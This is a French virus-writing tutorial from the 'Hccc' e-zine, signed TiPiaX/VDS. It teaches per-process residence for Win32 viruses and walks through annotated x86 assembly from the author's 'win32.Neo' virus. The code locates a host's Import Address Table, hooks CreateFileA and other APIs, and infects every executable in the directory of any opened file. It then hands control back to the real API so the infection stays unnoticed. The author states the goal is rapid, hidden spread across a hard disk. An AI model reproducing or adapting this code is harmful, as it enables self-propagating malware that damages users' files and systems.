ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º La residence per-process º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Jusqu'ici les virus presentes dans Hccc etaient assez inoffensifs car ils se reproduisaient seulement dans le repertoire courant. Cependant il etait temps de passer a autre chose avec un virus qui se propage vraiment. Le but est donc de ne plus rester cloisonne dans un repertoire mais d'aller voir ailleurs. Il existe beaucoup de moyen pour faire ca mais la residence est le processus qui permet une propagation tres rapide du virus sans que l'utilisateur ne s'en rende compte. Petite explication ~~~~~~~~~~~~~~~~~~ La residence est le fait que le virus se loge a un endroit et qu'il soit en permanence actif. Il existe plusieurs moyens pour y parvenir en win32. Le premier est d'infecter kernel32.dll en echangeant cette dll par une autre, cette manipulation se deroulant lors du redemarrage. Une autre methode est de faire en sorte que le virus s'autodumpe et qu'il soit execute par chaque fichier contamine ou par un ligne dans la base de registre. Ensuite il doit se cacher a l'aide de RegisterServiceProcess (attention cette API n'est pas compatible avec WindowsNT). L'autre moyen que nous allons voir ici est la residence per-process. Ce mode de residence est assez different. En fait il permet de hooker certaines APIs. Lors de l'appel a cette API par un executable contamine, le virus prend le relai, infecte le fichier specifie dans l'appel de l'API, et execute l'API. Les APIs a hooker sont les suivantes: MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA CopyFileExA, OpenFile. C'est principalement CreateFileA qui nous interesse. Si un fichier infecte fait appel a cette API, le virus recherche le nom du fichier que cette API veut ouvrir et il n'a plus qu'a l'infecter si le fichier est un executable. Comment faire pour hooker ces APIs ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Visite de l'Import Table ~~~~~~~~~~~~~~~~~~~~~~~~ Nous allons jouer avec l'Import Table. Que ce passe t'il lors de l'appel a une API par un programme ? le programme fait appel a l'Import Table ou sont stockes les adresses des APIs puis le programme fait un call sur cette adresse. Notre but sera de modifier cette adresse pour pointer a un endroit de notre virus. Cependant la valeur d'origine doit etre sauvegardee pour pouvoir appeler la vraie API. Une bonne documentation sur l'IAT est donc necessaire, mais comme je suis sympa je vais vous donner tout ce dont vous avez besoin. Je vais donc vous decrire point par point la routine que j'ai cree dans mon virus win32.Neo dans sa version finale (il est joint au mag). Cette routine permet de chercher ou est stockee l'adresse pointant vers l'API que nous desirons. En entree EDI pointera sur le nom de l'API. Le but est d'obtenir l'adresse de l'API ainsi que sa localisation dans l'Import Table pour pouvoir la modifier: ;=============================================================================== ; GetImportedApi PROC ; input : EDI = adresse du nom de l'api a rechercher ; output : EAX = adresse de l'API ; EBX = pointeur sur l'adresse de l'API ; Succes : EAX = adresse de l'API Failed : EAX = 0 ;=============================================================================== GetImportedApi PROC call [ebp+AGetModuleHandleA], 0 ; choppe l'ImageBase test eax, eax ; failed ? je GetImportedApi_ERROR ; erreur mov [ebp+IMAGEBASE], eax ; On sauve la valeur ;=============================================================================== Comme vous pouvez le voir la premiere etape consiste a avoir l'ImageBase du processus en cours (souvenez vous que le virus est attache a un programme). On l'obtient a l'aide de l'API GetModuleHandleA. Ensuite on sauvegarde l'adresse de l'ImageBase obtenue. Voyons la suite: ;=============================================================================== mov ecx, [ebp+IMAGEBASE] ; ImageBase du processus en ECX cmp word ptr [ecx], 'ZM' ; verification jne GetImportedApi_ERROR movzx ecx, word ptr [ecx+3Ch] ; on situe le PE Header add ecx, [ebp+IMAGEBASE] ; on normalise cmp word ptr [ecx], 'EP' ; verification jne GetImportedApi_ERROR mov ecx, [ecx+80h] ; RVA de l' import table add ecx, [ebp+IMAGEBASE] ; ECX pointe l'IMPORT TABLE (.idata) ;=============================================================================== Ensuite on continue en faisant des verifications sur le MZ header puis sur le PE header. Si vous ne comprenez pas ceci je vous conseille d'aller jetter un coup d'oeil dans Hccc#5 dans la partie virus et dans la partie programmation sur le PE header. Regardez aussi la documentation du PE header qu'a ecrit Christal dans Hccc#4. Une fois le PE Header localise le but est de localiser l'Import Table. L'adresse de celle ci est en 80h en partant du debut du PE header. Un fois l'adresse obtenue on rajoute l'IMAGEBASE car il faut se souvenir que le virus est en memoire et que de cette maniere on localise l'Import Table en memoire. La prochaine etape est la localisation de L'import Descriptor de kernel32: (a partir d'ici ecx pointe l'Import Table et donc ecx pointe le premier Import Descriptor) ;=============================================================================== k32search: mov esi, ecx ; ESI = ECX = un IMPORT_DESCRIPTOR mov esi, [esi+0ch] ; adresse de l' imported module ASCIIZ string add esi, [ebp+IMAGEBASE] ; on normalise cmp [esi], 'NREK' ; c'est l'IMPORT DESCRIPTOR du kernel ? je k32found ; on a trouve l'IMPORT_DESCRIPTOR du kernel add ecx,14h ; ECX = Le prochain IMPORT_DESCRIPTOR jmp k32search ; on repart k32found: ;=============================================================================== La je crois que vous allez avoir besoin d'explications. Un Import Descriptor a toujours la meme taille qui est de 14h (=20). Cette taille est constante. On regarde donc si on est en presence de l'Import Descriptor de kernel32 sinon on pointe 20 bytes plus loin. Comment voir en presence de quelle Import Descriptor nous sommes ? pour cela regardez ce schema d'un Import Descriptor: Import Descriptor: ~~~~~~~~~~~~~~~~~~ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ --- 00h ³ Characteristics ³ = adresse vers un tableau contenant ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ --- 04h les adresses (RVA) des APIs. ³ Time Date Stamp ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ --- 08h ³ Forwarder Chain ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ --- 0Ch ³ Pointer to Name ³ = pointeur vers le nom du module correspondant ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ --- 10h a l'Import Descriptor ³ First Thunk ³ = adresse vers un tableau de pointeurs aÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ donnant sur des noms d'APIs. Le DWORD en 0Ch pointe sur le nom du module auquel se rapporte l'Import Descriptor. Il suffit donc de comparer ce nom avec KERNEL. Vous comprenez maintenant. Ensuite il nous faut obtenir un pointeur sur le FirstThunk et un pointeur sur Characteristics: ;=============================================================================== mov esi, ecx ; ESI = kernel32 IMPORT DESCRIPTOR mov ecx, [esi+10h] ; ECX = RVA de l'IMAGE_THUNK_DATA add ecx, [ebp+IMAGEBASE] ; on normalise mov [ebp+ITD], ecx ; IDT = adresse de l'IMAGE_THUNK_DATA mov esi, [esi] ; ESI = pointeur sur Characteristics test esi, esi ; pas de Characteristics ? je GetImportedApi_ERROR ; on quitte add esi, [ebp+IMAGEBASE] ; on normalise xor eax, eax ; EAX va servir de compteur mov edx, esi ; EDX pointe sur Characteristics mov ebx, edi ; sauve l'adresse du nom a chercher ;=============================================================================== A partir de la EDX pointe sur le tableau donnant les RVA des APIs et le DWORD IDT pointe sur un tableau de pointeurs donnant le nom de ces APIS. Il arrive parfois que le tableau donnant les RVA des APIs donne un Ordinal a la place d'une RVA. Si jamais on tombe sur un ordinal, cela ne nous interesse pas et on passera donc a la prochaine API. Il faut donc desormais trouver le nom de notre API parmi tous les noms: ;=============================================================================== IAT_Next_API: cmp dword ptr [edx], 0 ; la derniere RVA ? je GetImportedApi_ERROR ; on quitte cmp byte ptr [edx+3],80h ; Ordinal? je IAT_Inc_Compteur ; suivant... mov esi, [edx] ; ESI pointe le nom d'une API - 2 add esi, [ebp+IMAGEBASE] ; on normalise add esi, 2 ; ESI pointe le nom d'une API mov edi, ebx ; EDI pointe le nom a chercher ;=============================================================================== Une petite precison: le tableau de pointeurs ne donne pas exactement sur les noms des APIs. Il pointe 2 bytes avant chaque nom. Je ne connais pas l'utilite de ces 2 bytes mais quoi qu'il en soit il faut donc ajouter 2 a notre pointeur pour pointer sur un nom d'API. Il faut donc ensuite comparer le nom de l'API trouvee avec le nom que nous recherchons: ;=============================================================================== IAT_compare: cmpsb ; les 2 bytes sont pareils ? jne IAT_Inc_Compteur ; non ? on passe a la fonction suivante cmp byte ptr [esi], 0 ; la chaine entiere est valide je IAT_API_Found ; -> hehe, on l'a ! jmp IAT_compare ; sinon on prend la prochaine lettre IAT_Inc_Compteur: inc eax ; incremente le compteur add edx, 4 ; prochaine RVA jmp IAT_Next_API ; on recherche de nouveau ;=============================================================================== Il y a donc une boucle de recherche jusqu'a ce que l'on tombe sur la bonne API. Si on la trouve, il faut sauvegarder son emplacement dans EBX et l'adresse de l'API dans EAX. EAX nous a servi de compteur pour nous reperer dans notre recherche. Par exemple si EAX vaut 10, l'adresse de notre API sera la 10eme dans le tableau de pointeur. Comme chaque adresse prend un DWORD (=4bytes), il faut multiplier EAX par 4 et lui ajouter l'adresse de debut du tableau pour qu'il pointe sur l'adresse de notre API: ;=============================================================================== IAT_API_Found: imul eax, 4 ; on multiplie le compteur par 4 (DWORDS) add eax, [ebp+ITD] ; Pointe l'adresse de l'API mov ebx, eax ; EBX = pointeur sur l'adresse de l'API mov eax, [eax] ; EAX = adresse de l'API ret GetImportedApi_ERROR: xor eax, eax ret GetImportedApi endp ;=============================================================================== on quitte ensuite cette procedure. C'etait pas si complique ca ;) On a desormais l'endroit ou est stockee l'adresse de l'API dans l'Import Table et la reelle adresse de l'API. Il reste donc a hooker les APIs: Hook des Apis ~~~~~~~~~~~~~ Allez maintenant qu'on a scannee cette chere Import Table on passe a la vitesse superieure et on se place en mode resident. Je vais donc une fois de plus vous commentez un bout de mon virus win32.Neo qui fait appel a la fonction detaillee au dessus: ;=============================================================================== ; GoResident PROC ; Permet de hooker les APIs desirees et importees par l'hôte ;=============================================================================== GoResident PROC test ebp, ebp ; Pas de residence a la premiere generation je GoResidentERROR ; ;=============================================================================== Je rappelle que le registre ebp nous sert ici de delta offset. Si ebp vaut 0 on est donc dans le cas de la premiere generation de virus et on a pas envie qu'il cherche a se hooker, ce serait inutile et on est jamais trop prudent. Pour la suite, il est bon de savoir comment vous aller declarer vos donnees: NhookCreateFileA db "CreateFileA", 0 ......... db 0FFh Cette premiere liste permet de mettre toutes les APIs que vous desirez hooker. Ensuite il faut donner les adresses des fonctions qui viendront en substitution a l'API ainsi qu'un DWORD pour acceuillir la vraie adresse: AhookCreateFileA dd offset hookCreateFileA _hookCreateFileA dd ? Il faut savoir que le code qui viendra en substitution est tres souvent le meme pour chacune des APIs que je vous ai donne plus haut. Dans mon virus win32.Neo je n'ai hooke qu'une seule API cependant je me suis laisse la possibilite d'en hooker plusieurs si jamais je desirais y faire des changements: ;=============================================================================== ; lea edi, [ebp+NhookCreateFileA] ; On commence par hookCreateFileA lea esi, [ebp+AhookCreateFileA] ; lea edx, [ebp+_hookCreateFileA] ; GoResident_FINDAPI: push edi ; On sauve tous les registres push esi ; push edx ; lea eax, [ebp+GetImportedApi] ; On recherche les APIs dans l'IAT qu'on call eax ; veut hooker, c'est la residence per-process pop edx ; On restaure les registres pop esi ; pop edi ; ;=============================================================================== Ici on ne fait qu'appeler la fonction decrite avant avec l'adresse du nom de l'API a rechercher en EDI. Les autres registres ESI et EDI nous permettent de pointer les donnees declarees avant pour pouvoir les remplir. On verifie ensuite que la fonction a bien fonctionnee et on continue notre operation: ;=============================================================================== test eax, eax ; elle est pas dans l'IAT je GoResident_NEXT ; On se prend la prochaine mov [edx], eax ; sauve l'adresse de l'API mov eax, [esi] ; choppe l'offset de notre code de substitution add eax, ebp ; le normalise mov [ebx], eax ; et l'installe dans l'IAT ;=============================================================================== C'est comme ceci qu'on modifie l'adresse dans l'Import Table. Il faut toutefois que celle ci soit en lecture/ecriture, il faudra donc changer les caracteristiques des sections. C'est tres simple, regardez dans le code de win32.Neo, tout y est detaille. Ensuite on passe a la prochaine fonction a hooker. Si on trouve 0FFh alors il n'y a plus de fonctions a hooker (regardez la maniere dont on a declare les donnees). ;=============================================================================== GoResident_NEXT: inc edi ; on choppe le prochain nom d'API cmp byte ptr [edi], 0 ; jne GoResident_NEXT ; ; inc edi ; add esi, 4 ; prochain offset add edx, 4 ; prochaine adresse de stockage cmp byte ptr [edi], 0FFh ; On regarde si on est arrive a la fin jne GoResident_FINDAPI ; GoResidentERROR: ret GoResident endp ;=============================================================================== Et voila nos APIs sont hookees. Quand l'hôte appelera l'une de ces APIs l'execution sera redirigee vers l'adresse que nous lui avons donnee. Dans le cas present le code ira donc vers "hookCreateFileA:". Voyons comment mettre a profit ce detournement de code ;) Interception de donnees, infection et faire comme si rien ne s'etait passe ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nous allons donc voir ici comment coder notre code de substitution. Au dessus nous avons fait de telle sorte que lors de l'appel de l'API CreateFileA le code soit redirige vers "hookCreateFileA". Allez, on sort notre documentation de windows sur les APIs et on regarde CreateFileA: HANDLE CreateFile( LPCTSTR lpFileName, // address of name of the file DWORD dwDesiredAccess, // access (read-write) mode DWORD dwShareMode, // share mode LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of security descriptor DWORD dwCreationDistribution, // how to create DWORD dwFlagsAndAttributes, // file attributes HANDLE hTemplateFile // handle of file with attributes to copy ); Ce qui nous interesse c'est le nom du fichier qui va etre ouvert. Etant le premier argument, c'est celui qui va etre place sur la pile en dernier. Cependant l'adresse de retour de call est placee devant lui, il est donc accesible en [esp+4]. Cependant en tout debut de notre code il convient que nous sauvegardions tous les registres et tous les flags (pushad et pushfd), notre argument se retrouve donc en [esp+40]. Allez voila le code: ;======= [HOOKED] ============================================================== hookCreateFileA: pushad ; sauve tous les registres pushfd ; sauve les flags ; mov edx,[esp+40] ; Choppe le nom du fichier sur la pile mov esi, edx ; Copie l'adresse dans esi ; call getdelta ; Calcul du delta offset getdelta: ; pop ebp ; sub ebp, offset getdelta ; ; ;=============================================================================== Ce code etant execute apres l'execution proprement dite du virus il convient de recalculer le delta offset que l'on place en ebp. Ensuite il vous suffirait de verifier si ce fichier est un exe puis de l'infecter. Cependant dans mon virus win32.Neo pour que l'infection soit vraiment a grande echelle j'ai decide d'infecter tout le repertoire dans lequel est stocke le fichier. Voila donc comment on procede pour trouver le nom du dossier: ;=============================================================================== lea edi, [ebp+HookDirectory] ; buffer de copie ; copypath: ; copie le chemin dans le buffer HookDirectory lodsb ; choppe une lettre du chemin mov byte ptr [edi], al ; copie la lettre dans le buffer inc edi ; prochaine lettre test al, al ; le 0 final ? jne copypath ; sinon on boucle dec edi ; edi pointe la fin du chemin copie (un 0) WhereIsSlash: dec edi ; 0 != \ cmp byte ptr [edi], "\" ; un \ ? jne WhereIsSlash ; lettre precedente mov byte ptr [edi], 0 ; scalpe le buffer lea edi, [ebp+Current_Dir] ; edi pointe un buffer call [ebp+AGetCurrentDirectoryA], 260, edi ; sauve le chemin du rep courant lea edi, [ebp+HookDirectory] ; edi pointe le dossier call [ebp+ASetCurrentDirectoryA], edi ; on en fait le chemin par defaut ; lea eax, [ebp+Infecte_Dir] ; call eax ; on infecte tout le dossier ; lea edi, [ebp+Current_Dir] ; call [ebp+ASetCurrentDirectoryA], edi ; restaure le chemin courant hookCreateFileA_ERROR: popfd popad ;=============================================================================== Je ne m'etendrais pas sur la maniere utilisee ici pour avoir le nom du dossier, ce n'est pas le sujet presente ici. Une fois que l'on a fait ce que l'on voulait en detournant le programme, on doit restaurer tous les registres et les flags puis on doit appeler l'API. Pour l'appeler on va cette fois ci mettre le delta offset dans eax, car le registre ebp est indispensable au systeme lors d'un call avec arguments. Puis on fera un jmp sur cette API grace a son adresse sauvegardee avant en _hookCreateFileA: ;=============================================================================== call getdeltaoffset ; Calcul du delta offset getdeltaoffset: ; pop eax ; sub eax, offset getdeltaoffset ; jmp [eax+_hookCreateFileA] ; quitte ;=============================================================================== Et voila le programme a ete detourne comme si rien ne s'etait passe. Ce mode de residence est donc tres efficace pour infecter vite tout un disque dur, car imaginez si explorer.exe est infecte ;) Voila vous connaissez desormais tout sur la residence per-process. Si vous avez des questions n'hesitez pas a me mailer a vxer@caramail.com. TiPiaX/VDS - hccc@caramail.com